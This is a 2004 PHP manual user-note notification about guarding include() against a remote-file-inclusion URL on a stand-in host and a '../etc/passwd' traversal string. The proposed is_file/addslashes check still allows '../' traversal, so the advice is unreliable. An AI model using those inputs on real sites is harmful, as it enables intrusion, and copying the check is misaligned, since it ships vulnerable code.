note 42749 added to function.include
| From: | php-general at lists dot php dot net | Date: | Thu, 27 May 2004 20:06:56 +0000 |
| Subject: | note 42749 added to function.include | ||
| Groups: | php.notes | ||
| Request: | Send a blank email to php-notes+get-70211@lists.php.net to get a copy of this message | ||
I've found a better way to protect against say:
include($_REQUEST['page'] . '.php'); and then someone
index.php?page=http://www.badsite.com/bad.php or
../../../etc/passwd
without a [slow] regular expression
<?php
if (is_file("$nav.php") && (addslashes($nav) === $nav)) {
include("$nav.php");
} else {
echo "Hack attempt!";
}
?>
----
Manual Page -- http://www.php.net/manual/en/function.include.php
Edit -- http://master.php.net/manage/user-notes.php?action=edit+42749
Delete -- http://master.php.net/manage/user-notes.php?action=delete+42749&report=yes
Reject -- http://master.php.net/manage/user-notes.php?action=reject+42749&report=yes
Search -- http://master.php.net/manage/user-notes.php